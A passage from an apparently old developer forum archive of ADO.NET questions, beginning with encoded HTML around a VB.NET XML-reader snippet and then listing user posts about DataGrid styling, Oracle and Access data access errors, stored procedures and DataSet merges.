oXMLReader <SPAN=20 style=3D"COLOR: blue">As</SPAN> Xml.XmlReader =3D=20 oCmd.ExecuteXmlReader()<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN><SPAN style=3D"COLOR: blue">Dim</SPAN> sbdXML <SPAN=20 style=3D"COLOR: blue">As</SPAN> <SPAN style=3D"COLOR: blue">New</SPAN>=20 Text.StringBuilder<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN><SPAN style=3D"COLOR: blue">If</SPAN> oXMLReader.Read <SPAN=20 style=3D"COLOR: blue">Then<o:p></o:p></SPAN></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN><SPAN style=3D"COLOR: = blue">Do<o:p></o:p></SPAN></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN>sbdXML.Append(oXMLReader.ReadOuterXml)<o:p></o:p></FONT></SPAN></P= > <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN><SPAN style=3D"COLOR: blue">Loop</SPAN> <SPAN=20 style=3D"COLOR: blue">Until</SPAN> = oXMLReader.EOF<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN><SPAN style=3D"COLOR: blue">End</SPAN> <SPAN=20 style=3D"COLOR: blue">If<o:p></o:p></SPAN></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN>oXMLReader.Close() : oXMLReader =3D <SPAN=20 style=3D"COLOR: blue">Nothing<o:p></o:p></SPAN></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN>RunAndReturn =3D sbdXML.ToString()<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN>sbdXML =3D <SPAN=20 style=3D"COLOR: blue">Nothing<o:p></o:p></SPAN></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN><SPAN style=3D"COLOR: blue">End</SPAN> <SPAN=20 style=3D"COLOR: blue">Select<o:p></o:p></SPAN></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = </SPAN><SPAN=20 style=3D"mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = </SPAN><SPAN=20 style=3D"COLOR: blue">End</SPAN> <SPAN=20 style=3D"COLOR: blue">Function<o:p></o:p></SPAN></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; COLOR: blue; FONT-FAMILY: 'Lucida = Console'"><FONT=20 size=3D1>&nbsp;<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = </SPAN><SPAN=20 style=3D"COLOR: blue">End</SPAN> <SPAN=20 style=3D"COLOR: blue">Class<o:p></o:p></SPAN></FONT></SPAN></P> <P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt"><FONT=20 size=3D1>&nbsp;<o:p></o:p></FONT></P></DIV></BODY></HTML> ------=_NextPart_000_0128_01C3874D.EF6C4E70-- Tag: get current identity of a table error??? Tag: 67302
      • 10
        • Grid Column Styles with OLE DB Adapter Code in the sample below (and numerous variations) runs OK...The query works and successfully binds data to the grid. But the Column Headers and Widths still look as if the cde that built the column styles colletion, etc. did not even run. When I run similar code on a different platform using SQL Server (and of course the SQL Data Adapter), everything works fine. In fact, it's a great way to manipulate amny aspects of grid formatting....colors, fonts, gridlines, the whole nine yards. MSDN documents this quite well but I found nothing that says it should not work with the OLE DB Adapter, etc. (I'm using it with Oracle) Anybody know what's up with this? Private Sub FillDocGrid(ByVal DocID As Integer) OleDbSelectCommand2.CommandText=SelectDocsCmd & DocID.ToString & "'" DocumentsDA.Fill(TechLibDS, "Documents") 'Tried setting Data Source and Data Member 'both ways...runs the same either way DocGrid.DataSource = TechLibDS.Tables("Documents") 'DocGrid.DataSource = TechLibDS 'DocGrid.DataMember = "Documents" Dim DocGridTS As New DataGridTableStyle() DocGridTS.RowHeadersVisible = False 'Tried setting Mapping Name both ways... 'runs the same either way DocGridTS.MappingName = "TechLibDDS.Documents" 'DocGridTS.MappingName = "Documents" Dim IDCS As New DataGridTextBoxColumn() IDCS.MappingName = "ID" IDCS.HeaderText = "" IDCS.Width = 0 DocGridTS.GridColumnStyles.Add(IDCS) Dim DocDateCS As New DataGridTextBoxColumn() DocDateCS.MappingName = "DocDate" DocDateCS.HeaderText = "Date" DocDateCS.Width = 120 DocGridTS.GridColumnStyles.Add(DocDateCS) Dim TitleCS As New DataGridTextBoxColumn() TitleCS.MappingName = "Title" TitleCS.HeaderText = "Document Title" TitleCS.Width = 400 DocGridTS.GridColumnStyles.Add(TitleCS) Dim DescCS As New DataGridTextBoxColumn() DescCS.MappingName = "Description" DescCS.HeaderText = "Document Descripition" DescCS.Width = 800 DocGridTS.GridColumnStyles.Add(DescCS) DocGrid.TableStyles.Clear() DocGrid.TableStyles.Add(DocGridTS) End Sub Tag: get current identity of a table error??? Tag: 67300
      • 11
        • dynamically adding column in database.. Hello all, I m trying to add a column in my database (it is a csv file) but it is giving me following exception. ------exception------------ {System.Data.OleDb.OleDbException} ErrorCode: -2147467259 Errors: {System.Data.OleDb.OleDbErrorCollection} HelpLink: Nothing InnerException: Nothing Message: "Operation not supported on a table that contains data." Source: "Microsoft JET Database Engine" StackTrace: " at System.Data.OleDb.OleDbCommand.ExecuteCommandTextErrorHandling(Int32 hr) at System.Data.OleDb.OleDbCommand.ExecuteCommandTextForSingleResult(tagDBPARAMS dbParams, Object& executeResult) at System.Data.OleDb.OleDbCommand.ExecuteCommandText(Object& executeResult) at System.Data.OleDb.OleDbCommand.ExecuteCommand(CommandBehavior behavior, Object& executeResult) at System.Data.OleDb.OleDbCommand.ExecuteReaderInternal(CommandBehavior behavior, String method) at System.Data.OleDb.OleDbCommand.ExecuteNonQuery() Here is my code for this. --------Code-------------- Dim ConnectString As String = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=c:\;Extended Properties=""text;HDR=Yes;FMT=Delimited""" Dim myCon As New OleDbConnection(ConnectString) Try myCon.Open() 'Debug.WriteLine("Connection Opened") Dim cmd As New OleDbCommand cmd.CommandText = "ALTER TABLE [sample.csv] ADD mycol VARCHAR(50) NULL" cmd.Connection = myCon cmd.ExecuteNonQuery() Catch ex As OleDbException debug.WriteLine(ex.Message) Finally myCon.Close() End Try Any known reasons and workarounds???? Thanks & Regards. Tag: get current identity of a table error??? Tag: 67298
      • 12
        • Remote Scripting Does anyone know how to return a recordset using remote scripting. An answer was given about serializing the data, but I am not sure how this is done. Any help would be appreciated. Karen Tag: get current identity of a table error??? Tag: 67297
      • 13
        • OracleAdapter and Boolean Type Hello I have a DataTable with a boolean column (C1) MyDataTable ( int64 pk, bool C1) and the OracleAdapter MyAdapter.SelectCommand = "SELECT pk, C1 FROM MyTable" I know don't exists boolean type in Oracle Data Base. so ... What type should I use in Oracle Data Base ? Thanks for replies. Tag: get current identity of a table error??? Tag: 67296
      • 14
        • Dataset update, combobox from another table Hello, When I call UPDATE command for save changes from my WinForm is Ok from all my textbox. But when I change my combobox that is populated from other table no save in my Database (access). Can Help me!. Thank you. ---------------------------------------- Private Sub bnGetCustomers_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles bnGetCustomers.Click Dim MyConnection As New OleDbConnection(CONNECTION_STRING) Dim Adapter As New OleDbDataAdapter(CONNECTION_ADAPTER, CONNECTION_STRING) MyConnection.Open() Dim Adapter2 As New OleDbDataAdapter(CONNECTION_ADAPTER2, CONNECTION_STRING) Adapter.Fill(Dataset1, "Requerimiento") Adapter2.Fill(Dataset2, "RFCoordenadas") DataGrid1.SetDataBinding(Dataset1, "Requerimiento") MyConnection.Close() '------------------------------------------------------------- With ComboBox2 'here polulate my combobox2, from other table. .DataSource = Dataset2.Tables("RFCoordenadas").DefaultView .DisplayMember = "Site" .ValueMember = "ID" End With '------------------------------------------------------------- Dim Sector As New ArrayList() With Sector .Add("1") .Add("2") .Add("3") End With ComboBox1.DataSource = Sector ComboBox1.SelectedIndex = 0 '------------------------------------------------------------- BindData() UpdateViewState() ------------------------------------------------------------------------- Private Sub bnSaveCustomers_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles bnSaveCustomers.Click BindingContext(Dataset1, "Requerimiento").EndCurrentEdit() dsChange = CType(Dataset1.GetChanges, DataSet) If Not (dsChange Is Nothing) Then dsChange = SaveOnServer(dsChange) If Not (dsChange Is Nothing) Then Dataset1.Merge(dsChange) Dataset1.AcceptChanges() '77777777777777777777777 dsChange.Dispose() '77777777777777777777777 End If End If End Sub Function SaveOnServer(ByVal dsChange As DataSet) As DataSet Dim MyConnection As New OleDbConnection(CONNECTION_STRING) MyConnection.Open() Dim Adapter As New OleDbDataAdapter(CONNECTION_ADAPTER, CONNECTION_STRING) Dim OUpdateCommand As New OleDbCommand("UPDATE Requerimiento SET [After Antenna (dB)] = ?, [After Azimut] = ?, [After Gru" & _ "po] = ?, [After Power (W)] = ?, [After Tilt] = ?, Sector = ?, Site = Combobox2.text, Visit" & _ "a_Cliente = ? WHERE Requerimiento.site=RFCoordenadas.site", MyConnection) OUpdateCommand.Parameters.Add(New System.Data.OleDb.OleDbParameter("After_Antenna_(dB)", System.Data.OleDb.OleDbType.Double, 0, System.Data.ParameterDirection.Input, False, CType(15, Byte), CType(0, Byte), "After Antenna (dB)", System.Data.DataRowVersion.Current, Nothing)) OUpdateCommand.Parameters.Add(New System.Data.OleDb.OleDbParameter("After_Azimut", System.Data.OleDb.OleDbType.Double, 0, System.Data.ParameterDirection.Input, False, CType(15, Byte), CType(0, Byte), "After Azimut", System.Data.DataRowVersion.Current, Nothing)) OUpdateCommand.Parameters.Add(New System.Data.OleDb.OleDbParameter("After_Grupo", System.Data.OleDb.OleDbType.VarWChar, 255, "After Grupo")) OUpdateCommand.Parameters.Add(New System.Data.OleDb.OleDbParameter("After_Power_(W)", System.Data.OleDb.OleDbType.Double, 0, System.Data.ParameterDirection.Input, False, CType(15, Byte), CType(0, Byte), "After Power (W)", System.Data.DataRowVersion.Current, Nothing)) OUpdateCommand.Parameters.Add(New System.Data.OleDb.OleDbParameter("After_Tilt", System.Data.OleDb.OleDbType.Double, 0, System.Data.ParameterDirection.Input, False, CType(15, Byte), CType(0, Byte), "After Tilt", System.Data.DataRowVersion.Current, Nothing)) OUpdateCommand.Parameters.Add(New System.Data.OleDb.OleDbParameter("Site", System.Data.OleDb.OleDbType.VarWChar, 255, "Site")) OUpdateCommand.Parameters.Add(New System.Data.OleDb.OleDbParameter("Visita_Cliente", System.Data.OleDb.OleDbType.VarWChar, 50, "Visita_Cliente")) Adapter.UpdateCommand = OUpdateCommand '--------------------------------------------------------------- If Not (dsChange Is Nothing) Then Adapter.Update(dsChange, "Requerimiento") Return dsChange Else Return Nothing End If 'dsChange.AcceptChanges() MyConnection.Close() End Function Tag: get current identity of a table error??? Tag: 67293
      • 15
        • Stored Proc with EXEC Causes Error If inside my stored procedure, there is an EXEC "Some_sql_string" command, ado errors out saying "Cannot find stored procedure "Some_sql_string". This is inside the stored proc. Not a string I'm executing from dot net. I've tried this in both c# and vb. Using both objCmd.ExecuteReader to fill a data grid, or a data adapter to DataView to the data grid. Same error each time. Like ado executes my first proc, then sees the EXEC tsql command, and tries to treat it as a second stored proc. This worked fine in old ADO. I dont understand how ado.net sees my sql string. Its inside a stored proc, I would think sql would execute the proc and return the rs. It dosent matter what commands are passed to sql EXEC, they always produce the same error. Any ideas? Tag: get current identity of a table error??? Tag: 67287
      • 16
        • Urgent Help Required from Gurus - Conditional databinding Hi, I have an ASPX page which has a datagrid and this datagrid is bound to a Custom Collection. sample code this.DataGrid1.DataSource = UserManager.Users; this.DataGrid1.DataBind(); Everything works fine and when the page is loaded, the datagrid displays the list of users present in the Usermanager.Users object. Now, I want to do a conditional binding - for example, I want the datagrid to have only those users who have certain privileges. To be more specific, this is what I want to do foreach(User user in UserManager.Users) { if(user.Privileges.Contains(certainPrivilege) || user.Privileges.Contains(anotherCertainPrivilege) { //Add the row to the grid } else { //Do not add this row to the grid } } How do I accomplish this - please note that I don't want to the change the datasource of the grid to reflect this - the data source should be the entire list of Users and not a filtered list based on priviliges. Please help me with this - what I am looking for is a solution which will allow me to use the ItemDataBound or DataBinding events to do this. Also, I do not want to hide the rows (visible = false). This spoils the paging routines in the page. CGuy Tag: get current identity of a table error??? Tag: 67286
      • 17
        • DataGrid and DataReader How can i use DataReader with Datagrid paging ? Excuse me for bad english... Tag: get current identity of a table error??? Tag: 67283
      • 18
        • ado.net & access is it possible to fetch data with ado.net from a access database? greetz, Martin Tag: get current identity of a table error??? Tag: 67281
      • 19
        • ado.net & access is it possible to fetch data with ado.net from a access database? greetz, Martin Tag: get current identity of a table error??? Tag: 67279
      • 20
        • How to find out the name of the virtual directory in ASP.NET Dear Friends How things going well. I have a question. Please help me. Thanks in advance. I like to give our customers a web site in our site i.e www.ourdomain.com/JackSalume www.ourdomain.com/JanetWilson www.ourdomain.com/CarenAnderson All the customers use the same template i.e their home page contains a picture and some text and the other pages contains our cutomers products ... I like to use ASP.NET for implementing the customer pages The customer have an admin pannel to upload files and write the text that shows in his home page I mean he/she can customize his/her web page I mean the contents of the files in the Virtual Directory with his/her name I want to put all the ASP.NET page in a directory called customers but at the same time, want to let customers see their files at thier directory not at customer folder I think I must use frames. do you know how ? Also I want to find out the name of the customer from the virtual directory name so I can make his /her web site by using the ASP.NET pages in customer folder so how can I access the the name of the virtual directory in ASP.NET code? Any Commnets to better implement this site? Thank you very much Amir Eshterayeh aeshterayeh@hotmail.com Tag: get current identity of a table error??? Tag: 67278
      • 21
        • MIcrosoft ODP Good Day Folks, I'm trying the Oracle Data Provider, the one written by Microsoft, without success thus far. The code and error message are listed below. Any ideas ? Thanks in advance. ------------------ Code <%@Page Language = "VB" CompilerOptions='/R:"c:\windows\microsoft.net\framework\v1. 1.4322\system.data.oracleclient.dll"' Debug="true"%> <%@ Import Namespace="System" %> <%@ Import Namespace="System.Data" %> <%@ Import Namespace="System.Data.OracleClient" %> <html> <head> <title></title> </head> <body> <% dim rcDB as OracleConnection dim theSQL as string,connstring as string dim oracleDSN as string, p_userid as string, p_password as string oracleDSN="WEB" p_userid="x13923" p_password="teacher" connstring="Data Source=" & oracleDSN & ";User ID=" & p_userid & ";Password=" & p_password & ";Enlist=False" theSQL="select stud_id,stud_name FROM WEB_STUDENT_HEADER" rcDB =New OracleConnection(connstring) rcDB.open() Dim myCommand As New OracleCommand(theSQL , rcDB) dim dataset as OracleDataReader= myCommand.ExecuteReader () do while dataSet.read() %> <%= dataSet("stud_id") & " / " & dataSet("stud_name") & "<br />" %> <% loop myCommand.dispose rcDB.close rcDB.dispose %> Done ! </body> </html> --------------------- Error Message Exception Details: System.Data.OracleClient.OracleException: ORA-02041: client database did not begin a transaction Source Error: Line 31: Dim myCommand As New OracleCommand(theSQL , rcDB) Line 32: Line 33: dim dataset as OracleDataReader= myCommand.ExecuteReader() Line 34: Line 35: do while dataSet.read() %> Source File: c:\inetpub\wwwroot\odpselectmicrosoft.aspx Line: 33 Stack Trace: [OracleException: ORA-02041: client database did not begin a transaction ] System.Data.OracleClient.OracleConnection.CheckError (OciHandle errorHandle, Int32 rc) +80 System.Data.OracleClient.OracleCommand.Execute (OciHandle statementHandle, CommandBehavior behavior, Boolean isReader, Boolean needRowid, OciHandle& rowidDescriptor, ArrayList& refCursorParameterOrdinals) +1919 System.Data.OracleClient.OracleCommand.Execute (OciHandle statementHandle, CommandBehavior behavior, ArrayList& refCursorParameterOrdinals) +28 System.Data.OracleClient.OracleCommand.ExecuteReader (CommandBehavior behavior) +272 System.Data.OracleClient.OracleCommand.ExecuteReader() +7 ASP.odpselectMicrosoft_aspx.__Render__control1 (HtmlTextWriter __output, Control parameterContainer) in c:\inetpub\wwwroot\odpselectmicrosoft.aspx:33 System.Web.UI.Control.RenderChildren(HtmlTextWriter writer) +27 System.Web.UI.Control.Render(HtmlTextWriter writer) +7 System.Web.UI.Control.RenderControl(HtmlTextWriter writer) +243 System.Web.UI.Page.ProcessRequestMain() +1929 Tag: get current identity of a table error??? Tag: 67275
      • 22
        • timestamp hi there in my database i have a column timestamp (sql server 2000) . now i read this entry with a reader: programming language: c#.net ... ... byte test ; while (reader.Read()) { test = Convert.ToByte(reader["AdrTimestamp"]); } ... ... i got the answer that this cast is not valid i also tried to do id with a string stringTest = Convert.ToByte(reader["AdrTimestamp"]); or i tried: stringTest = reader["AdrTimestamp"].ToString(); but the Value i then get is: "System.Byte[]" but i would like to see its value.... could anyone help please ? this would be great... thanks jonas Tag: get current identity of a table error??? Tag: 67274
      • 23
        • Expression DataColumns don't get evaluated after a DataSet Merge() Hi, After creating a DataSet with an Expression Column y I'm trying to Merge some data from another DataSet returned by the middle tier. Both source and destination DataSet have the same columns and tables, except for one expression column wich can be easily evaluated as result of two other columns (say FullName = LastName + ', ' + FirstName). For some reason, after I merge the DataSet, if I look to the value of the expression-column for the merged rows, they all have DbNull value instead of the value returned by the expression. But if I add a new DataRow trough code the expression gets properly evaluated just in that row. Is there a reason for this behavior? Is this a bug? Is this by design? My workaround is to reset the expression after I merge the two DataSet. After that, all the rows have the correct value in the expression column: DataSet ds = MiddleTier.GetData(); myDataSet.Merge(ds); //workaround: after Merge, reset expression to the same expression myDataSet.Tables[0].Columns["FullName"].Expression += ""; This is very ugly code. Is there a better, scientific, Microsoft approved way to tell a DataColumn to reevaluate an expression after a DataSet.Merge(). Why expression-based columns don't get reevaluated after a DataSet.Merge(). Thanks. Germán. Spain. Tag: get current identity of a table error??? Tag: 67270
      • 24
        • ODBC Database Connection Woes in ASP .NET This problem has had me stuck for weeks now... I have an ASP .NET application on a machine running Windows 2000 Server. It connects to an ODBC data source using the ODBC Data Provider. The connection t